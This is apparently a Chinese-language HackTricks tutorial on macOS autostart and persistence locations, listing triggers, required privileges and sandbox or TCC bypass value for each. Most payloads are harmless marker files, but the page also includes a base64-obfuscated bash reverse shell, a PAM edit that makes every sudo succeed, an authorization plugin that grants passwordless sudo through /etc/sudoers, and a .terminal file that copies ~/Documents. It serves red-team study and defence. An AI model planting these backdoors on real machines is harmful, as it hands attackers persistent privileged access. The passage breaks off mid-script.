macOS 自动启动

Reading time: 60 minutes

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

本节主要基于博客系列 超越传统的 LaunchAgents，目标是添加 更多自动启动位置（如果可能），指明 哪些技术在最新版本的 macOS（13.4）中仍然有效，并指定所需的权限。

沙盒绕过

tip

在这里，您可以找到对 沙盒绕过 有用的启动位置，它允许您通过 将其写入文件 并等待一个非常常见的操作、确定的时间或您通常可以在沙盒内执行的操作来简单地执行某些内容，而无需 root 权限。

Launchd

有助于绕过沙盒: ✅
TCC 绕过: 🔴

位置

/Library/LaunchAgents
触发器: 重启
需要 root
/Library/LaunchDaemons
触发器: 重启
需要 root
/System/Library/LaunchAgents
触发器: 重启
需要 root
/System/Library/LaunchDaemons
触发器: 重启
需要 root
~/Library/LaunchAgents
触发器: 重新登录
~/Library/LaunchDemons
触发器: 重新登录

tip

有趣的是，launchd 在 Mach-o 部分 __Text.__config 中嵌入了一个属性列表，其中包含其他知名服务，launchd 必须启动。此外，这些服务可以包含 RequireSuccess、RequireRun 和 RebootOnSuccess，这意味着它们必须运行并成功完成。

当然，由于代码签名，它无法被修改。

描述与利用

launchd 是 OX S 内核在启动时执行的 第一个 进程，并且在关机时是最后一个完成的进程。它应该始终具有 PID 1。该进程将 读取并执行 在 ASEP plist 中指示的配置，位于：

/Library/LaunchAgents: 管理员安装的每用户代理
/Library/LaunchDaemons: 管理员安装的系统范围守护进程
/System/Library/LaunchAgents: Apple 提供的每用户代理。
/System/Library/LaunchDaemons: Apple 提供的系统范围守护进程。

当用户登录时，位于 /Users/$USER/Library/LaunchAgents 和 /Users/$USER/Library/LaunchDemons 的 plist 将以 登录用户的权限 启动。

代理和守护进程之间的主要区别在于，代理在用户登录时加载，而守护进程在系统启动时加载（因为有些服务如 ssh 需要在任何用户访问系统之前执行）。此外，代理可以使用 GUI，而守护进程需要在后台运行。

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

在某些情况下，代理需要在用户登录之前执行，这些被称为PreLoginAgents。例如，这在登录时提供辅助技术非常有用。它们也可以在/Library/LaunchAgents中找到（请参见这里的示例）。

note

新的守护进程或代理配置文件将在下次重启后或使用 launchctl load <target.plist> 加载。也可以使用launchctl -F <file>加载没有该扩展名的.plist文件（但是这些plist文件在重启后不会自动加载）。
也可以使用launchctl unload <target.plist>进行卸载（指向的进程将被终止），

为了确保没有任何（如覆盖）阻止代理或守护进程运行，请运行：sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

列出当前用户加载的所有代理和守护进程：

bash

launchctl list

warning

如果一个 plist 文件属于一个用户，即使它在守护进程的系统范围文件夹中，任务将以该用户的身份执行，而不是以 root 身份执行。这可以防止某些特权升级攻击。

关于 launchd 的更多信息

launchd 是从内核启动的 第一个 用户模式进程。进程启动必须是 成功的，并且 不能退出或崩溃。它甚至对某些 杀死信号 进行了保护。

launchd 首先要做的事情之一是启动所有的 守护进程，例如：

基于时间执行的定时守护进程：
atd (com.apple.atrun.plist): 有一个 StartInterval 为 30 分钟
crond (com.apple.systemstats.daily.plist): 有 StartCalendarInterval 在 00:15 启动
网络守护进程，例如：
org.cups.cups-lpd: 在 TCP (SockType: stream) 上监听，SockServiceName: printer
SockServiceName 必须是 /etc/services 中的端口或服务
com.apple.xscertd.plist: 在 TCP 端口 1640 上监听
路径守护进程，在指定路径更改时执行：
com.apple.postfix.master: 检查路径 /etc/postfix/aliases
IOKit 通知守护进程：
com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
Mach 端口：
com.apple.xscertd-helper.plist: 在 MachServices 条目中指示名称 com.apple.xscertd.helper
UserEventAgent：
这与之前的不同。它使 launchd 在响应特定事件时生成应用程序。然而，在这种情况下，涉及的主要二进制文件不是 launchd，而是 /usr/libexec/UserEventAgent。它从 SIP 受限文件夹 /System/Library/UserEventPlugins/ 加载插件，每个插件在 XPCEventModuleInitializer 键中指示其初始化程序，或者在旧插件的情况下，在其 Info.plist 中的 CFPluginFactories 字典下的键 FB86416D-6164-2070-726F-70735C216EC0 中。

shell 启动文件

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

有助于绕过沙盒: ✅
TCC 绕过: ✅
但你需要找到一个具有 TCC 绕过的应用程序，该应用程序执行一个加载这些文件的 shell

位置

~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
触发: 打开一个 zsh 终端
/etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
触发: 打开一个 zsh 终端
需要 root 权限
~/.zlogout
触发: 退出一个 zsh 终端
/etc/zlogout
触发: 退出一个 zsh 终端
需要 root 权限
可能还有更多在: man zsh
~/.bashrc
触发: 打开一个 bash 终端
/etc/profile (未成功)
~/.profile (未成功)
~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
触发: 预计在 xterm 中触发，但它 未安装，即使安装后也会抛出此错误: xterm: DISPLAY is not set

描述与利用

当启动一个 shell 环境，如 zsh 或 bash 时，会运行某些启动文件。macOS 当前使用 /bin/zsh 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时，自动访问此 shell。虽然 bash 和 sh 也存在于 macOS 中，但需要明确调用才能使用。

zsh 的手册页，我们可以通过 man zsh 阅读，详细描述了启动文件。

bash

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

重新打开的应用程序

caution

配置所指示的利用和注销再登录或甚至重启对我来说无法执行该应用程序。（该应用程序未被执行，可能需要在执行这些操作时保持运行）

写作: https://theevilbit.github.io/beyond/beyond_0021/

有助于绕过沙箱: ✅
TCC 绕过: 🔴

位置

~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
触发: 重启重新打开应用程序

描述与利用

所有要重新打开的应用程序都在 plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 中

因此，要使重新打开的应用程序启动您自己的应用程序，您只需 将您的应用程序添加到列表中。

UUID 可以通过列出该目录或使用 ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' 找到。

要检查将要重新打开的应用程序，您可以执行：

bash

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

要将应用程序添加到此列表，您可以使用：

bash

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Preferences

有助于绕过沙盒: ✅
TCC 绕过: ✅
终端使用用户的 FDA 权限

Location

~/Library/Preferences/com.apple.Terminal.plist
Trigger: 打开终端

Description & Exploitation

在 ~/Library/Preferences 中存储用户在应用程序中的偏好设置。这些偏好设置中的一些可以包含 执行其他应用程序/脚本 的配置。

例如，终端可以在启动时执行一个命令：

此配置在文件 ~/Library/Preferences/com.apple.Terminal.plist 中反映如下:

bash

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

所以，如果系统中终端的偏好设置的plist可以被覆盖，那么**open功能可以用来打开终端并执行该命令**。

您可以通过cli添加此内容：

bash

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Scripts / Other file extensions

有助于绕过沙盒: ✅
TCC 绕过: ✅
终端使用用户的 FDA 权限

Description & Exploitation

如果你创建一个 .terminal 脚本并打开，Terminal application 将自动调用以执行其中指示的命令。如果 Terminal 应用具有某些特殊权限（例如 TCC），你的命令将以这些特殊权限运行。

Try it with:

bash

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

您还可以使用扩展名 .command、.tool，与常规 shell 脚本内容一起使用，它们也会被终端打开。

caution

如果终端具有 完全磁盘访问权限，它将能够完成该操作（请注意，执行的命令将在终端窗口中可见）。

音频插件

写作： https://theevilbit.github.io/beyond/beyond_0013/
写作： https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

有助于绕过沙盒： ✅
TCC 绕过： 🟠
您可能会获得一些额外的 TCC 访问权限

位置

/Library/Audio/Plug-Ins/HAL
需要 root 权限
触发：重启 coreaudiod 或计算机
/Library/Audio/Plug-ins/Components
需要 root 权限
触发：重启 coreaudiod 或计算机
~/Library/Audio/Plug-ins/Components
触发：重启 coreaudiod 或计算机
/System/Library/Components
需要 root 权限
触发：重启 coreaudiod 或计算机

QuickLook 插件

写作： https://theevilbit.github.io/beyond/beyond_0028/

有助于绕过沙盒： ✅
TCC 绕过： 🟠
您可能会获得一些额外的 TCC 访问权限

位置

/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/

描述与利用

当您 触发文件的预览（在 Finder 中选择文件后按空格键）并且安装了 支持该文件类型的插件 时，可以执行 QuickLook 插件。

可以编译自己的 QuickLook 插件，将其放置在上述位置之一以加载，然后转到支持的文件并按空格键以触发它。

登录/注销钩子

caution

这对我不起作用，无论是用户 LoginHook 还是 root LogoutHook

写作： https://theevilbit.github.io/beyond/beyond_0022/

有助于绕过沙盒： ✅
TCC 绕过： 🔴

位置

您需要能够执行类似 defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh 的命令
位于 ~/Library/Preferences/com.apple.loginwindow.plist

它们已被弃用，但可以在用户登录时执行命令。

bash

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

此设置存储在 /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

bash

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

要删除它：

bash

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

注意，由于在加载此代码的二进制文件的权限中（/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver），您可以找到 com.apple.security.app-sandbox，因此您将处于 常见应用程序沙箱 内。

Saver code:

objectivec

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight 插件

writeup: https://theevilbit.github.io/beyond/beyond_0011/

有助于绕过沙箱: 🟠
但你将会进入一个应用程序沙箱
TCC 绕过: 🔴
沙箱看起来非常有限

位置

~/Library/Spotlight/
触发: 创建一个由 Spotlight 插件管理的扩展的新文件。
/Library/Spotlight/
触发: 创建一个由 Spotlight 插件管理的扩展的新文件。
需要 root 权限
/System/Library/Spotlight/
触发: 创建一个由 Spotlight 插件管理的扩展的新文件。
需要 root 权限
Some.app/Contents/Library/Spotlight/
触发: 创建一个由 Spotlight 插件管理的扩展的新文件。
需要新应用

描述与利用

Spotlight 是 macOS 内置的搜索功能，旨在为用户提供 快速而全面的数据访问。
为了促进这种快速搜索能力，Spotlight 维护一个 专有数据库，并通过 解析大多数文件 创建索引，从而能够快速搜索文件名及其内容。

Spotlight 的基本机制涉及一个名为 'mds' 的中央进程，代表 'metadata server'。这个进程协调整个 Spotlight 服务。与此相辅相成的是多个 'mdworker' 守护进程，它们执行各种维护任务，例如索引不同类型的文件 (ps -ef | grep mdworker)。这些任务通过 Spotlight 导入插件或 ".mdimporter bundles" 实现，使 Spotlight 能够理解和索引各种文件格式的内容。

插件或 .mdimporter 包位于之前提到的位置，如果出现新的包，它会在几秒钟内加载（无需重启任何服务）。这些包需要指明它们可以管理的 文件类型和扩展名，这样，当创建一个具有指定扩展名的新文件时，Spotlight 将使用它们。

可以通过运行 find all the mdimporters 来找到所有已加载的内容:

bash

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

例如 /Library/Spotlight/iBooksAuthor.mdimporter 用于解析这些类型的文件（扩展名 .iba 和 .book 等）：

json

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

caution

如果你检查其他 mdimporter 的 Plist，你可能找不到条目 UTTypeConformsTo。这是因为它是内置的 统一类型标识符 (UTI)，不需要指定扩展名。

此外，系统默认插件总是优先，因此攻击者只能访问未被苹果自己的 mdimporters 索引的文件。

要创建你自己的导入器，你可以从这个项目开始：https://github.com/megrimm/pd-spotlight-importer，然后更改名称、CFBundleDocumentTypes 并添加 UTImportedTypeDeclarations，以便支持你想要支持的扩展，并在 schema.xml 中反映它们。
然后更改函数 GetMetadataForFile 的代码，以在创建具有处理扩展名的文件时执行你的有效载荷。

最后 构建并复制你的新 .mdimporter 到之前的一个位置，你可以通过 监控日志 或检查 mdimport -L. 来查看它是否被加载。

偏好设置面板

caution

这似乎不再有效。

写作： https://theevilbit.github.io/beyond/beyond_0009/

有助于绕过沙盒： 🟠
需要特定用户操作
TCC 绕过： 🔴

位置

/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes

描述

这似乎不再有效。

根沙盒绕过

tip

在这里你可以找到有用的启动位置，用于 沙盒绕过，允许你通过 写入文件 以 root 身份简单地执行某些操作，和/或需要其他 奇怪的条件。

定期

写作： https://theevilbit.github.io/beyond/beyond_0019/

有助于绕过沙盒： 🟠
但你需要是 root
TCC 绕过： 🔴

位置

/etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
需要 root
触发：当时间到来时
/etc/daily.local, /etc/weekly.local 或 /etc/monthly.local
需要 root
触发：当时间到来时

描述与利用

定期脚本 (/etc/periodic) 是由于在 /System/Library/LaunchDaemons/com.apple.periodic* 中配置的 启动守护进程 而执行的。请注意，存储在 /etc/periodic/ 中的脚本是作为 文件的所有者 执行的，因此这对于潜在的特权升级将无效。

bash

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

还有其他定期脚本将在 /etc/defaults/periodic.conf 中指示执行：

bash

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

如果您成功写入任何文件 /etc/daily.local、/etc/weekly.local 或 /etc/monthly.local，它将会 迟早被执行。

warning

请注意，周期性脚本将以 脚本所有者的身份执行。因此，如果常规用户拥有该脚本，它将以该用户的身份执行（这可能会防止特权升级攻击）。

PAM

写作： Linux Hacktricks PAM
写作： https://theevilbit.github.io/beyond/beyond_0005/

有助于绕过沙箱： 🟠
但您需要是 root
TCC 绕过： 🔴

位置

始终需要 root

描述与利用

由于 PAM 更专注于 持久性 和恶意软件，而不是在 macOS 中的简单执行，因此本博客不会给出详细的解释，请阅读写作以更好地理解此技术。

检查 PAM 模块：

bash

ls -l /etc/pam.d

一种利用PAM的持久性/特权提升技术就像修改模块/etc/pam.d/sudo，在开头添加以下行一样简单：

bash

auth       sufficient     pam_permit.so

所以它将看起来像这样：

bash

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

因此，任何尝试使用 sudo 都会成功。

caution

请注意，此目录受到 TCC 保护，因此用户很可能会收到请求访问的提示。

另一个不错的例子是 su，您可以看到也可以向 PAM 模块提供参数（您也可以对该文件进行后门处理）：

bash

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

授权插件

Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

有助于绕过沙盒: 🟠
但你需要是 root 并进行额外配置
TCC 绕过: ???

位置

/Library/Security/SecurityAgentPlugins/
需要 root 权限
还需要配置授权数据库以使用该插件

描述与利用

你可以创建一个授权插件，当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息，请查看之前的写作（并小心，编写不当可能会锁定你，你需要从恢复模式清理你的 Mac）。

objectivec

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

移动捆绑包到要加载的位置：

bash

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

最后添加规则以加载此插件：

bash

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms 将告诉授权框架它需要 调用外部机制进行授权。此外，privileged 将使其由 root 执行。

通过以下方式触发它：

bash

security authorize com.asdf.asdf

然后 staff 组应该具有 sudo 访问权限（阅读 /etc/sudoers 以确认）。

Man.conf

写作：https://theevilbit.github.io/beyond/beyond_0030/

有助于绕过沙箱：🟠
但你需要是 root，用户必须使用 man
TCC 绕过：🔴

位置

/private/etc/man.conf
需要 root
/private/etc/man.conf：每当使用 man 时

描述与利用

配置文件 /private/etc/man.conf 指定在打开 man 文档文件时使用的二进制文件/脚本。因此，可以修改可执行文件的路径，以便每当用户使用 man 阅读文档时，都会执行一个后门。

例如设置在 /private/etc/man.conf：

MANPAGER /tmp/view

然后创建 /tmp/view 为：

bash

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

有助于绕过沙箱: 🟠
但你需要是root，并且apache需要在运行
TCC 绕过: 🔴
Httpd没有权限

位置

/etc/apache2/httpd.conf
需要root权限
触发: 当Apache2启动时

描述与利用

你可以在/etc/apache2/httpd.conf中指示加载一个模块，添加一行，例如:

bash

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

这样，您的编译模块将由 Apache 加载。唯一需要注意的是，您要么需要 用有效的 Apple 证书签名，要么需要 在系统中添加一个新的受信任证书 并 用它签名。

然后，如果需要，您可以执行以下操作以确保服务器启动：

bash

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylb的代码示例：

objectivec

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM审计框架

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

有助于绕过沙盒: 🟠
但你需要是root，auditd需要运行并引发警告
TCC绕过: 🔴

位置

/etc/security/audit_warn
需要root权限
触发: 当auditd检测到警告时

描述与利用

每当auditd检测到警告时，脚本**/etc/security/audit_warn会被执行**。因此你可以在其中添加你的有效载荷。

bash

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

您可以使用 sudo audit -n 强制发出警告。

启动项

[!CAUTION] > 这已被弃用，因此这些目录中不应找到任何内容。

StartupItem 是一个目录，应该位于 /Library/StartupItems/ 或 /System/Library/StartupItems/ 中。一旦建立此目录，它必须包含两个特定文件：

一个 rc 脚本：在启动时执行的 shell 脚本。
一个 plist 文件，特定命名为 StartupParameters.plist，其中包含各种配置设置。

确保 rc 脚本和 StartupParameters.plist 文件正确放置在 StartupItem 目录中，以便启动过程能够识别和使用它们。

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

bash

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

emond

caution

我在我的 macOS 中找不到这个组件，因此有关更多信息，请查看写作

写作: https://theevilbit.github.io/beyond/beyond_0023/

由 Apple 引入，emond 是一种日志机制，似乎尚未开发或可能被遗弃，但仍然可以访问。虽然对 Mac 管理员并没有特别的好处，但这个模糊的服务可能作为威胁行为者的微妙持久性方法，可能不会被大多数 macOS 管理员注意到。

对于那些知道其存在的人，识别 emond 的任何恶意使用是简单的。该服务的系统 LaunchDaemon 在一个目录中寻找要执行的脚本。要检查这一点，可以使用以下命令:

bash

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

位置

/opt/X11/etc/X11/xinit/privileged_startx.d
需要 root 权限
触发: 使用 XQuartz

描述与利用

XQuartz 不再安装在 macOS 中，所以如果你想要更多信息，请查看写作。

kext

caution

即使作为 root 安装 kext 也非常复杂，因此我不会考虑这作为逃避沙盒或持久性的方法（除非你有一个漏洞）

位置

为了将 KEXT 安装为启动项，它需要被 安装在以下位置之一：

/System/Library/Extensions
内置于 OS X 操作系统的 KEXT 文件。
/Library/Extensions
由第三方软件安装的 KEXT 文件

你可以使用以下命令列出当前加载的 kext 文件：

bash

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

有关内核扩展的更多信息，请查看本节。

amstoold

写作: https://theevilbit.github.io/beyond/beyond_0029/

位置

/usr/local/bin/amstoold
需要root权限

/Library/Preferences/Xsan/.xsanrc
需要root权限
触发: 当服务运行时（很少）

描述与利用

显然，运行这个脚本并不常见，我甚至在我的macOS中找不到它，所以如果你想要更多信息，请查看写作。

/etc/rc.common

[!CAUTION] > 这在现代MacOS版本中不起作用

在这里也可以放置将在启动时执行的命令。 示例是常规的rc.common脚本:

bash

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
